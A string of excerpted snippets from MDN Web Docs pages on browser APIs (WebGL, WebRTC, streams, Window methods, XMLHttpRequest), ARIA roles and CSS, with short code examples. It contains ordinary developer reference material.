...queryselector("#red-toggle"), greentoggle = document.queryselector("#green-toggle"), bluetoggle = document.queryselector("#blue-toggle"); redtoggle.addeventlistener("click", setcolormask, false); greentoggle.addeventlistener("click", setcolormask, false); bluetoggle.addeventlistener("click", setcolormask, false); function setcolormask(evt) { var index = evt.target === greentoggle && 1 || evt.target === bluetoggle && 2 || 0; mask[index] = !mask[index]; if (mask[index] === true) evt.target.innerhtml="on"; else evt.target.innerhtml="off"; gl.colormask(mask[0], mask[1], mask[2], true); drawanimation(); }; function drawanimation () { var color = getrandomcolor(); gl.clearcolor(color[0], color[1], color[2], 1.0); ...
Raining rectangles - Web APIs
you missed <strong>0</strong>.</p> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { display : block; width : 280px; height : 210px; margin : auto; padding : 0; border : none; background-color : black; } button { display : block; font-size : inherit; margin : auto; padding : 0.6em; } ;(function(){ "use strict" window.addeventlistener("load", setupanimation, false); var gl, timer, rainingrect, scoredisplay, missesdisplay; function setupanimation (evt) { window.removeeventlistener(evt.type, setupanimation, false); if (!(gl = getrenderingcontext())) return; gl.enable(gl.scissor_test); rainingrect = new rectangle(); timer = settimeout(drawanimation, 17); document.queryse...
...lector("canvas") .addeventlistener("click", playerclick, false); var displays = document.queryselectorall("strong"); scoredisplay = displays[0]; missesdisplay = displays[1]; } var score = 0, misses = 0; function drawanimation () { gl.scissor(rainingrect.position[0], rainingrect.position[1], rainingrect.size[0] , rainingrect.size[1]); gl.clear(gl.color_buffer_bit); rainingrect.position[1] -= rainingrect.velocity; if (rainingrect.position[1] < 0) { misses += 1; missesdisplay.innerhtml = misses; rainingrect = new rectangle(); } // we are using settimeout for animation.
... randnums[2]*(gl.drawingbufferwidth - rect.size[0]), gl.drawingbufferheight ]; rect.velocity = 1.0 + 6.0*math.random(); rect.color = getrandomvector(); gl.clearcolor(rect.color[0], rect.color[1], rect.color[2], 1.0); function getrandomvector() { return [math.random(), math.random(), math.random()]; } } function getrenderingcontext() { var canvas = document.queryselector("canvas"); canvas.width = canvas.clientwidth; canvas.height = canvas.clientheight; var gl = canvas.getcontext("webgl") || canvas.getcontext("experimental-webgl"); if (!gl) { var paragraph = document.queryselector("p"); paragraph.innerhtml = "failed to get webgl context." + "your browser or device may not support webgl."; return null; } gl.viewport(0, 0, gl.draw...
Introduction to WebRTC protocols - Web APIs
structure sdp consists of one or more lines of utf-8 text, each beginning with a one-character type, followed by an equals sign ("="), followed by structured text comprising a value or description, whose format depends on the type.
... the lines of text that begin with a given letter are generally referred to as "letter-lines".
... for example, lines providing media descriptions have the type "m", so those lines are referred to as "m-lines." for more information to learn more about sdp, see the following useful resources: specification: rfc 4566: sdp: session description protocol iana registry of sdp parameters ...
Using WebRTC data channels - Web APIs
let datachannel = pc.createdatachannel("myapp channel"); datachannel.addeventlistener("open", (event) => { begintransmission(datachannel); }); manual negotiation to manually negotiate the data channel connection, you need to first create a new rtcdatachannel object using the createdatachannel() method on the rtcpeerconnection, specifying in the options a negotiated property set to true.
... let datachannel = pc.createdatachannel("myapp channel", { negotiated: true }); datachannel.addeventlistener("open", (event) => { begintransmission(datachannel); }); requestremotechannel(datachannel.id); in this code snippet, the channel is created with negotiated set to true, then a function called requestremotechannel() is used to trigger negotiation, to create a remote channel with the same id as the local channel.
... in order to resolve this issue, a new system of stream schedulers (usually referred to as the "sctp ndata specification") has been designed to make it possible to interleave messages sent on different streams, including streams used to implement webrtc data channels.
Web Audio API best practices - Web APIs
r-audio, from the bbc's research & development department, is a library of react components aiming to provide a "more intuitive, declarative interface to web audio".
... autoplay policy browsers have started to implement an autoplay policy, which in general can be summed up as: "create or resume context from inside a user gesture".
... if you have buttons that switch audio on and off, using the aria role="switch" attribute on them is a good option for signalling to assistive technology what the button's exact purpose is, and therefore making the app more accessible.
Web Locks API - Web APIs
for example, if a web app running in multiple tabs wants to ensure that only one tab is syncing data between the network and indexed db, each tab could try to acquire a "my_net_db_sync" lock, but only one tab will succeed (the leader election pattern.) the api is used as follows: the lock is requested.
... await do_something_else_without_lock(); options several options can be passed when requesting a lock: mode: the default mode is "exclusive", but "shared" can be specified.
... there can be only one "exclusive" holder of a lock, but multiple "shared" requests can be granted at the same time.
WheelEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stro...
...ke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/uievent" target="_top"><rect x="116" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="153.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">uievent</text></a><polyline points="191,25 201,20 201,30 191,25" stroke="#d4dde4" fill="none"/><line x1="201" y1="25" x2="231" y2="25" stroke="#d4dde4"/><a x...
...link:href="/docs/web/api/mouseevent" target="_top"><rect x="231" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="281" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">mouseevent</text></a><polyline points="331,25 341,20 341,30 331,25" stroke="#d4dde4" fill="none"/><line x1="341" y1="25" x2="371" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/wheelevent" target="_top"><rect x="371" y="1" width="100" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="421" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">wheelevent</text></a></svg></div> ...
Window.getDefaultComputedStyle() - Web APIs
example simple example var elem1 = document.getelementbyid("elemid"); var style = window.getdefaultcomputedstyle(elem1); longer example <style> #elem-container { position: absolute; left: 100px; top: 200px; height: 100px; } </style> <div id="elem-container">dummy</div> <div id="output"></div> <script> var elem = document.getelementbyid("elem-container"); var thecssprop = window.getdefaultcomputedstyle(elem).position; document.
...getelementbyid("output").innerhtml = thecssprop; // will output "static" </script> use with pseudo-elements the getdefaultcomputedstyle() method can pull style info from pseudo-elements (e.g., ::before or ::after).
...in particular, to avoid the so called css history leak security issue, browsers may expressly "lie" about the used value for a link and always return values as if a user has never visited the linked site, and/or limit the styles that can be applied using the :visited pseudo-selector.
Window.matchMedia() - Web APIs
WebAPIWindowmatchMedia
examples this example runs the media query (max-width: 600px) and displays the value of the resulting mediaquerylist's matches property in a <span>; as a result, the output will say "true" if the viewport is less than or equal to 600 pixels wide, and will say "false" if the window is wider than that.
... javascript let mql = window.matchmedia('(max-width: 600px)'); document.queryselector(".mq-value").innertext = mql.matches; the javascript code simply passes the media query to match into matchmedia() to compile it, then sets the <span>'s innertext to the value of the results' matches property, so that it indicates whether or not the document matches the media query at the moment the page was loaded.
... html <span class="mq-value"></span> a simple <span> to receive the output.
Window.navigator - Web APIs
WebAPIWindownavigator
if (susrag.indexof("firefox") > -1) { sbrowser = "mozilla firefox"; // "mozilla/5.0 (x11; ubuntu; linux x86_64; rv:61.0) gecko/20100101 firefox/61.0" } else if (susrag.indexof("samsungbrowser") > -1) { sbrowser = "samsung internet"; // "mozilla/5.0 (linux; android 9; samsung sm-g955f build/ppr1.180610.011) applewebkit/537.36 (khtml, like gecko) samsungbrowser/9.4 chrome/67.0.3396.87 mobile safari/537.36 } els...
...e if (susrag.indexof("opera") > -1 || susrag.indexof("opr") > -1) { sbrowser = "opera"; // "mozilla/5.0 (macintosh; intel mac os x 10_14_0) applewebkit/537.36 (khtml, like gecko) chrome/70.0.3538.102 safari/537.36 opr/57.0.3098.106" } else if (susrag.indexof("trident") > -1) { sbrowser = "microsoft internet explorer"; // "mozilla/5.0 (windows nt 10.0; wow64; trident/7.0; .net4.0c; .net4.0e; zoom 3.6.0; wbx 1.0.0; rv:11.0) like gecko" } else if (susrag.indexof("edge") > -1) { sbrowser = "microsoft edge"; // "mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/58.0.3029.110 safari/537.36 edge/16.16299" } else if (susrag.indexof("chrome") > -1) { sbrowser = "google chrome or chromium"; // "mozilla/5.0 (x11; linux x86_64) applewebkit/537.36 (k...
...html, like gecko) ubuntu chromium/66.0.3359.181 chrome/66.0.3359.181 safari/537.36" } else if (susrag.indexof("safari") > -1) { sbrowser = "apple safari"; // "mozilla/5.0 (iphone; cpu iphone os 11_4 like mac os x) applewebkit/605.1.15 (khtml, like gecko) version/11.0 mobile/15e148 safari/604.1 980x1306" } else { sbrowser = "unknown"; } alert("you are using: " + sbrowser); specifications specification status comment html living standardthe definition of 'window: navigator' in that specification.
Window.onbeforeinstallprompt - Web APIs
the window.onbeforeinstallprompt property is an event handler for processing a beforeinstallprompt, which is dispatched on devices when a user is about to be prompted to "install" a web application.
... syntax window.addeventlistener("beforeinstallprompt", function(event) { ...
... window.addeventlistener("beforeinstallprompt", function(beforeinstallpromptevent) { beforeinstallpromptevent.preventdefault(); // prevents immediate prompt display // shows prompt after a user clicks an "install" button installbutton.addeventlistener("click", function(mouseevent) { // you should not use the mouseevent here, obviously beforeinstallpromptevent.prompt(); }); installbutton.hidden = false; // make button operable }); ...
Window.sidebar - Web APIs
WebAPIWindowsidebar
methods the sidebar object returned has the following methods: method description (seamonkey) description (firefox) addpanel(title, contenturl, "") adds a sidebar panel.
... end users can use the "load this bookmark in the sidebar" option instead.
... addpersistentpanel(title, contenturl, "") adds a sidebar panel, which is able to work in the background.
Window - Web APIs
WebAPIWindow
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/window" target="_top"><rect x="1" y="1" width="75" height="50" fill="#f4f7f8" ...
...stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">window</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructors see also the dom interfaces.
... windoweventhandlers.onhashchange an event handler property for hashchange events on the window; called when the part of the url after the hash mark ("#") changes.
WindowEventHandlers.onhashchange - Web APIs
syntax using an event handler: window.onhashchange = funcref; using an html event handler: <body onhashchange="funcref();"> using an event listener: to add an event listener, use addeventlistener(): window.addeventlistener("hashchange", funcref, false); parameters funcref a reference to a function.
... function locationhashchanged() { if (location.hash === '#cool-feature') { console.log("you're visiting a cool feature!"); } } window.onhashchange = locationhashchanged; using an event listener this example uses an event listener to log a notification whenever the hash has changed.
... polyfill for event.newurl and event.oldurl // let this snippet run before your hashchange event binding code if (!window.hashchangeevent)(function(){ var lasturl = document.url; window.addeventlistener("hashchange", function(event){ object.defineproperty(event, "oldurl", {enumerable:true,configurable:true,value:lasturl}); object.defineproperty(event, "newurl", {enumerable:true,configurable:true,value:document.url}); lasturl = document.url; }); }()); specifications specification status comment html living standardthe definition of 'onhashchange' in that...
WindowOrWorkerGlobalScope.btoa() - Web APIs
see "unicode strings" below for more detail.
...so if you pass a string into btoa() containing characters that occupy more than one byte, you will get an error, because this is not considered binary data: const ok = "a"; console.log(ok.codepointat(0).tostring(16)); // 61: occupies < 1 byte const notok = "" console.log(notok.codepointat(0).tostring(16)); // 2713: occupies > 1 byte console.log(btoa(ok)); // yq== console.log(btoa(notok)); // error if you need to encode unicode text as ascii using btoa(), one option is to convert the string such that each 16-bit unit occupies only one byte.
...ert a unicode string to a string in which // each 16-bit unit occupies only one byte function tobinary(string) { const codeunits = new uint16array(string.length); for (let i = 0; i < codeunits.length; i++) { codeunits[i] = string.charcodeat(i); } return string.fromcharcode(...new uint8array(codeunits.buffer)); } // a string that contains characters occupying > 1 byte const mystring = "☸☹☺☻☼☾☿"; const converted = tobinary(mystring); const encoded = btoa(converted); console.log(encoded); // ocy5jjomoyy8jj4mpyy= if you do this, of course you'll have to reverse the conversion on the decoded string: function frombinary(binary) { const bytes = new uint8array(binary.length); for (let i = 0; i < bytes.length; i++) { bytes[i] = binary.charcodeat...
WritableStream.WritableStream() - Web APIs
ssage, writablestream) { // defaultwriter is of type writablestreamdefaultwriter const defaultwriter = writablestream.getwriter(); const encoder = new textencoder(); const encoded = encoder.encode(message, { stream: true }); encoded.foreach((chunk) => { defaultwriter.ready .then(() => { return defaultwriter.write(chunk); }) .then(() => { console.log("chunk written to sink."); }) .catch((err) => { console.log("chunk error:", err); }); }); // call ready again to ensure that all chunks are written // before closing the writer.
... defaultwriter.ready .then(() => { defaultwriter.close(); }) .then(() => { console.log("all chunks written"); }) .catch((err) => { console.log("stream error:", err); }); } const decoder = new textdecoder("utf-8"); const queuingstrategy = new countqueuingstrategy({ highwatermark: 1 }); let result = ""; const writablestream = new writablestream({ // implement the sink write(chunk) { return new promise((resolve, reject) => { var buffer = new arraybuffer(2); var view = new uint16array(buffer); view[0] = chunk; var decoded = decoder.decode(view, { stream: true }); var listitem = document.createelement('li'); listitem.textcontent = "chunk decoded: " + decoded; list.appendchild(listitem); result +=...
... decoded; resolve(); }); }, close() { var listitem = document.createelement('li'); listitem.textcontent = "[message received] " + result; list.appendchild(listitem); }, abort(err) { console.log("sink error:", err); } }, queuingstrategy); sendmessage("hello, world.", writablestream); you can find the full code in our simple writer example.
WritableStream.getWriter() - Web APIs
ssage, writablestream) { // defaultwriter is of type writablestreamdefaultwriter const defaultwriter = writablestream.getwriter(); const encoder = new textencoder(); const encoded = encoder.encode(message, { stream: true }); encoded.foreach((chunk) => { defaultwriter.ready .then(() => { return defaultwriter.write(chunk); }) .then(() => { console.log("chunk written to sink."); }) .catch((err) => { console.log("chunk error:", err); }); }); // call ready again to ensure that all chunks are written // before closing the writer.
... defaultwriter.ready .then(() => { defaultwriter.close(); }) .then(() => { console.log("all chunks written"); }) .catch((err) => { console.log("stream error:", err); }); } const decoder = new textdecoder("utf-8"); const queuingstrategy = new countqueuingstrategy({ highwatermark: 1 }); let result = ""; const writablestream = new writablestream({ // implement the sink write(chunk) { return new promise((resolve, reject) => { var buffer = new arraybuffer(2); var view = new uint16array(buffer); view[0] = chunk; var decoded = decoder.decode(view, { stream: true }); var listitem = document.createelement('li'); listitem.textcontent = "chunk decoded: " + decoded; list.appendchild(listitem); result +=...
... decoded; resolve(); }); }, close() { var listitem = document.createelement('li'); listitem.textcontent = "[message received] " + result; list.appendchild(listitem); }, abort(err) { console.log("sink error:", err); } }, queuingstrategy); sendmessage("hello, world.", writablestream); you can find the full code in our simple writer example.
WritableStream - Web APIs
ssage, writablestream) { // defaultwriter is of type writablestreamdefaultwriter const defaultwriter = writablestream.getwriter(); const encoder = new textencoder(); const encoded = encoder.encode(message, { stream: true }); encoded.foreach((chunk) => { defaultwriter.ready .then(() => { return defaultwriter.write(chunk); }) .then(() => { console.log("chunk written to sink."); }) .catch((err) => { console.log("chunk error:", err); }); }); // call ready again to ensure that all chunks are written // before closing the writer.
... defaultwriter.ready .then(() => { defaultwriter.close(); }) .then(() => { console.log("all chunks written"); }) .catch((err) => { console.log("stream error:", err); }); } const decoder = new textdecoder("utf-8"); const queuingstrategy = new countqueuingstrategy({ highwatermark: 1 }); let result = ""; const writablestream = new writablestream({ // implement the sink write(chunk) { return new promise((resolve, reject) => { var buffer = new arraybuffer(2); var view = new uint16array(buffer); view[0] = chunk; var decoded = decoder.decode(view, { stream: true }); var listitem = document.createelement('li'); listitem.textcontent = "chunk decoded: " + decoded; list.appendchild(listitem); result +=...
... decoded; resolve(); }); }, close() { var listitem = document.createelement('li'); listitem.textcontent = "[message received] " + result; list.appendchild(listitem); }, abort(err) { console.log("sink error:", err); } }, queuingstrategy); sendmessage("hello, world.", writablestream); you can find the full code in our simple writer example.
WritableStreamDefaultWriter.WritableStreamDefaultWriter() - Web APIs
ssage, writablestream) { // defaultwriter is of type writablestreamdefaultwriter const defaultwriter = writablestream.getwriter(); const encoder = new textencoder(); const encoded = encoder.encode(message, { stream: true }); encoded.foreach((chunk) => { defaultwriter.ready .then(() => { return defaultwriter.write(chunk); }) .then(() => { console.log("chunk written to sink."); }) .catch((err) => { console.log("chunk error:", err); }); }); // call ready again to ensure that all chunks are written // before closing the writer.
... defaultwriter.ready .then(() => { defaultwriter.close(); }) .then(() => { console.log("all chunks written"); }) .catch((err) => { console.log("stream error:", err); }); } const decoder = new textdecoder("utf-8"); const queuingstrategy = new countqueuingstrategy({ highwatermark: 1 }); let result = ""; const writablestream = new writablestream({ // implement the sink write(chunk) { return new promise((resolve, reject) => { var buffer = new arraybuffer(2); var view = new uint16array(buffer); view[0] = chunk; var decoded = decoder.decode(view, { stream: true }); var listitem = document.createelement('li'); listitem.textcontent = "chunk decoded: " + decoded; list.appendchild(listitem); result +=...
... decoded; resolve(); }); }, close() { var listitem = document.createelement('li'); listitem.textcontent = "[message received] " + result; list.appendchild(listitem); }, abort(err) { console.log("sink error:", err); } }, queuingstrategy); sendmessage("hello, world.", writablestream); you can find the full code in our simple writer example.
WritableStreamDefaultWriter.close() - Web APIs
ssage, writablestream) { // defaultwriter is of type writablestreamdefaultwriter const defaultwriter = writablestream.getwriter(); const encoder = new textencoder(); const encoded = encoder.encode(message, { stream: true }); encoded.foreach((chunk) => { defaultwriter.ready .then(() => { return defaultwriter.write(chunk); }) .then(() => { console.log("chunk written to sink."); }) .catch((err) => { console.log("chunk error:", err); }); }); // call ready again to ensure that all chunks are written // before closing the writer.
... defaultwriter.ready .then(() => { defaultwriter.close(); }) .then(() => { console.log("all chunks written"); }) .catch((err) => { console.log("stream error:", err); }); } const decoder = new textdecoder("utf-8"); const queuingstrategy = new countqueuingstrategy({ highwatermark: 1 }); let result = ""; const writablestream = new writablestream({ // implement the sink write(chunk) { return new promise((resolve, reject) => { var buffer = new arraybuffer(2); var view = new uint16array(buffer); view[0] = chunk; var decoded = decoder.decode(view, { stream: true }); var listitem = document.createelement('li'); listitem.textcontent = "chunk decoded: " + decoded; list.appendchild(listitem); result +=...
... decoded; resolve(); }); }, close() { var listitem = document.createelement('li'); listitem.textcontent = "[message received] " + result; list.appendchild(listitem); }, abort(err) { console.log("sink error:", err); } }, queuingstrategy); sendmessage("hello, world.", writablestream); you can find the full code in our simple writer example.
WritableStreamDefaultWriter - Web APIs
ablestream) { // defaultwriter is of type writablestreamdefaultwriter const defaultwriter = writablestream.getwriter(); const encoder = new textencoder(); const encoded = encoder.encode(message, { stream: true }); encoded.foreach((chunk) => { defaultwriter.ready .then(() => { return defaultwriter.write(chunk); }) .then(() => { console.log("chunk written to sink."); }) .catch((err) => { console.log("chunk error:", err); }); }); // call ready again to ensure that all chunks are written // before closing the writer.
... defaultwriter.ready .then(() => { defaultwriter.close(); }) .then(() => { console.log("all chunks written"); }) .catch((err) => { console.log("stream error:", err); }); } const decoder = new textdecoder("utf-8"); const queuingstrategy = new countqueuingstrategy({ highwatermark: 1 }); let result = ""; const writablestream = new writablestream({ // implement the sink write(chunk) { return new promise((resolve, reject) => { var buffer = new arraybuffer(2); var view = new uint16array(buffer); view[0] = chunk; var decoded = decoder.decode(view, { stream: true }); var listitem = document.createelement('li'); listitem.textcontent = "chunk decoded: " + decoded; list.appendchild(l...
...istitem); result += decoded; resolve(); }); }, close() { var listitem = document.createelement('li'); listitem.textcontent = "[message received] " + result; list.appendchild(listitem); }, abort(err) { console.log("sink error:", err); } }, queuingstrategy); sendmessage("hello, world.", writablestream); you can find the full code in our simple writer example.
XDomainRequest - Web APIs
example if(window.xdomainrequest){ var xdr = new xdomainrequest(); xdr.open("get", "http://example.com/api/method"); xdr.onprogress = function () { //progress }; xdr.ontimeout = function () { //timeout }; xdr.onerror = function () { //error occurred }; xdr.onload = function() { //success(xdr.responsetext); } settimeout(function () { xdr.send(); }, 0); } note: the xdr.send() call is wrapped in a timeout (see window.settimeout()...
...if these do not match, the request will error "access is denied".
... the requested url's server must have the access-control-allow-origin header set to either all ("*") or to include the origin of the request.
XMLDocument - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text...
...-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/document" target="_top"><rect x="266" y="1" width="80" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" ...
.../><text x="306" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">document</text></a><polyline points="346,25 356,20 356,30 346,25" stroke="#d4dde4" fill="none"/><line x1="356" y1="25" x2="386" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/xmldocument" target="_top"><rect x="386" y="1" width="110" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="441" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">xmldocument</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} property also inherits properties from: document xmldocument.async used w...
XMLHttpRequest.send() - Web APIs
if no accept header has been set using the setrequestheader(), an accept header with the type "*/*" (any type) is sent.
...}; xhr.send(null); // xhr.send('string'); // xhr.send(new blob()); // xhr.send(new int8array()); // xhr.send(document); example: post var xhr = new xmlhttprequest(); xhr.open("post", '/server', true); //send the proper header information along with the request xhr.setrequestheader("content-type", "application/x-www-form-urlencoded"); xhr.onreadystatechange = function() { // call a function when the state changes.
... } } xhr.send("foo=bar&lorem=ipsum"); // xhr.send(new int8array()); // xhr.send(document); specifications specification status comment xmlhttprequestthe definition of 'send()' in that specification.
XRView - Web APIs
WebAPIXRView
quat.identity(inverseorientation); quat.rotatex(inverseorientation, inverseorientation, -mousepitch); quat.rotatey(inverseorientation, inverseorientation, -mouseyaw); // compute the true "up" vector for our object.
... the second section computes the "up" vector for the object.
... this vector indicates the direction which is "up" in the scene overall, but in the object's reference space.
XSL Transformations in Mozilla FAQ - Web APIs
a known workaround is to add a sufficiently long xml comment to the beginning of your xml file in order to "push" the <feed> or <rss> tag out of the first 512 bytes, which is analyzed by firefox to determine if it's a feed or not.
...if you need platform dependent code or stylesheets, just do <xsl:if test="system-property('xsl:vendor')='transformiix'"> <!-- mozilla specific markup --> </xsl:if> <xsl:if test="system-property('xsl:vendor')='microsoft'"> <!-- ie specific markup --> </xsl:if> check system-properties.xml for the properties of your favorite system.
... <xsl:if xmlns:msxsl="urn:schemas-microsoft-com:xslt" test="system-property('msxsl:version')=3"> <!-- msxml3 specific markup --> </xsl:if> what about media="print"?
Using the aria-invalid attribute - Accessibility
<input name="name" id="name" aria-required="true" aria-invalid="false" onblur="checkvalidity('name', ' ', 'invalid name entered (requires both first and last name)');"/> <br /> <input name="email" id="email" aria-required="true" aria-invalid="false" onblur="checkvalidity('email', '@', 'invalid e-mail address');"/> note that it is not necessary to validate the fields immediately on blur; th...
... the snippet below shows a very simple validation function, which only checks for the presence of a particular character (in the real world, validation will likely be more sophisticated): function checkvalidity(aid, asearchterm, amsg){ var elem = document.getelementbyid(aid); var invalid = (elem.value.indexof(asearchterm) < 0); if (invalid) { elem.setattribute("aria-invalid", "true"); updatealert(amsg); } else { elem.setattribute("aria-invalid", "false"); updatealert(); } } the snippet below shows the alert functions, which add (or remove) the error message: function updatealert(msg) { var oldalert = document.getelementbyid("alert"); if (oldalert) { document.body.removechild(oldalert); } if (msg...
...) { var newalert = document.createelement("div"); newalert.setattribute("role", "alert"); newalert.setattribute("id", "alert"); var content = document.createtextnode(msg); newalert.appendchild(content); document.body.appendchild(newalert); } } note that the alert has the aria role attribute set to "alert." working examples: alert role example (uses the aria-invalid attribute) notes when aria-invalid is used in conjunction with the aria-required attribute, aria-invalid should not be set to true before the form is submitted - only in response to validation.
Using the group role - Accessibility
<div id="tree1" role="tree" tabindex="-1"> <div id="animals" class="groupheader" role="presentation" aria-owns="animalgroup" aria-expanded="true"> <img role="presentation" tabindex="-1" src="images/treeexpanded.gif" /> <span role="treeitem" tabindex="0">animals</span> </div> <div id="animalgroup" role="group"> <div id="birds" role="treeitem"> <span tabindex="-1">birds</span> </d...
...iv> <div id="cats" class="groupheader" role="presentation" aria-owns="catgroup" aria-expanded="false"> <img role="presentation" tabindex="-1" src="images/treecontracted.gif" /> <span role="treeitem" tabindex="0">cats</span> </div> <div id="catgroup" role="group"> <div id="siamese" role="treeitem"> <span tabindex="-1">siamese</span> </div> <div id="tabby" role="treeitem"> <span tabindex="-1">tabby</span> </div> </div> </div> </div> example 2: using the group role with a html drop-down menu the snippet below shows how the group role is added directly into the html source code.
... <div role="menu"> <ul role="group"> <li role="menuitem">inbox</li> <li role="menuitem">archive</li> <li role="menuitem">trash</li> </ul> <ul role="group"> <li role="menuitem">custom folder 1</li> <li role="menuitem">custom folder 2</li> <li role="menuitem">custom folder 3</li> </ul> <ul role="group"> <li role="menuitem">new folder</li> </ul> </div> working examples: file directory treeview example using computed properties navigation treeview example using declared properties notes group members that are outside of the dom subtree of the group need to have explicit relationships assigned to them in order to participate in the group.
ARIA: Mark role - Accessibility
the commented section is marked up using <span role="mark">.
... <p>the last half of the song is a slow-rising crescendo that peaks at the <span role="mark" aria-details="thread-1">end of the guitar solo</span>, before fading away sharply.</p> <div role="comment" id="thread-1" data-author="chris"> <h3>chris said</h3> <p class="comment-text">i really think this moment could use more cowbell.</p> <p><time datetime="2019-03-30t19:29">march 30 2019, 19:29</time></p> </div> the related comment is marked up using an html structure wrapped with a <div> containing role="comment".
...using too many landmark roles can create "noise" in screen readers, making it difficult to understand the overall layout of the page.
ARIA: heading role - Accessibility
<div role="heading" aria-level="1">this is a main page heading</div> this defines the text in the div to be the main heading of the page, indicated by being level 1 via the aria-level attribute.
... <div id="container"> <div role="heading" aria-level="1">the main page heading</div> <p>this article is about showing a page structure.</p> <div role="heading" aria-level="2">introduction</div> <p>an introductory text.</p> <div role="heading" aria-level="2">chapter 1</div> <p>text</p> <div role="heading" aria-level="3">chapter 1.1</div> <p>more text in a sub section.</p> ...</div> however, instead, you sho...
...uld do: <div id="container"> <h1>the main page heading</h1> <p>this article is about showing a page structure.</p> <h2>introduction</h2> <p>an introductory text.</p> <h2>chapter 1</h2> <p>text</p> <h3>chapter 1.1</h3> <p>more text in a sub section.</p> ...</div> accessibility concerns if you must use the heading role and aria-level attribute, do not go over level 6 so that you are consistent with html.
Color contrast - Accessibility
s recommend the following contrast ratios: type of content minimum ratio (aa rating) enhanced ratio (aaa rating) body text 4.5 : 1 7 : 1 large-scale text (120-150% larger than body text) 3 : 1 4.5 : 1 active user interface components and graphical objects such as icons and graphs 3 : 1 not defined these ratios do not apply to "incidental" text, such as inactive controls, logotypes, or purely decorative text.
... examples let's have a look at some simple html and css code: <div class="good">good contrast</div> <div class="bad">bad contrast</div> div { /* general div styles here */ } .good { background-color: #fae6fa; } .bad { background-color: #400064; } both pieces of text have their default black color.
... the "good" <div> has a light purple background, which makes the text easy to read: example1 <div class="good"> good contrast </div> div { font-family: sans-serif; text-align: center; font-size: 2rem; font-weight: bold; width: 250px; padding: 30px; border-radius: 20px; box-shadow: 1px 1px 1px black; } .good { background-color: #fae6fa; } the "bad" <div> on the other hand has a very dark purple background, which makes the text much harder to read: example2 <div class="bad"> bad contrast </div> div { font-family: sans-serif; text-align: center; font-size: 2rem; font-weight: bold; width: 250px; padding: 30px; border-radius: 20px; box-shadow: 1px 1px 1px black; } .bad { background-color: #400064; } solution wh...
Accessibility
accessibility (often abbreviated to a11y—as in "a" then 11 characters then "y") in web development means enabling as many people as possible to use web sites, even when those people's abilities are limited in some way.
... "the web is fundamentally designed to work for all people, whatever their hardware, software, language, culture, location, or physical or mental ability.
... when the web meets this goal, it is accessible to people with a diverse range of hearing, movement, sight, and cognitive ability." (w3c - accessibility) key tutorials the mdn accessibility learning area contains modern, up-to-date tutorials covering accessibility essentials: what is accessibility?
::-moz-color-swatch - CSS: Cascading Style Sheets
the ::-moz-color-swatch css pseudo-element is a mozilla extension that represents the color selected in an <input> of type="color".
... note: using ::-moz-color-swatch with anything but an <input type="color"> doesn't match anything and has no effect.
... examples html <input type="color" value="#de2020" /> css input[type=color]::-moz-color-swatch { border-radius: 10px; border-style: none; } result specifications not part of any standard.
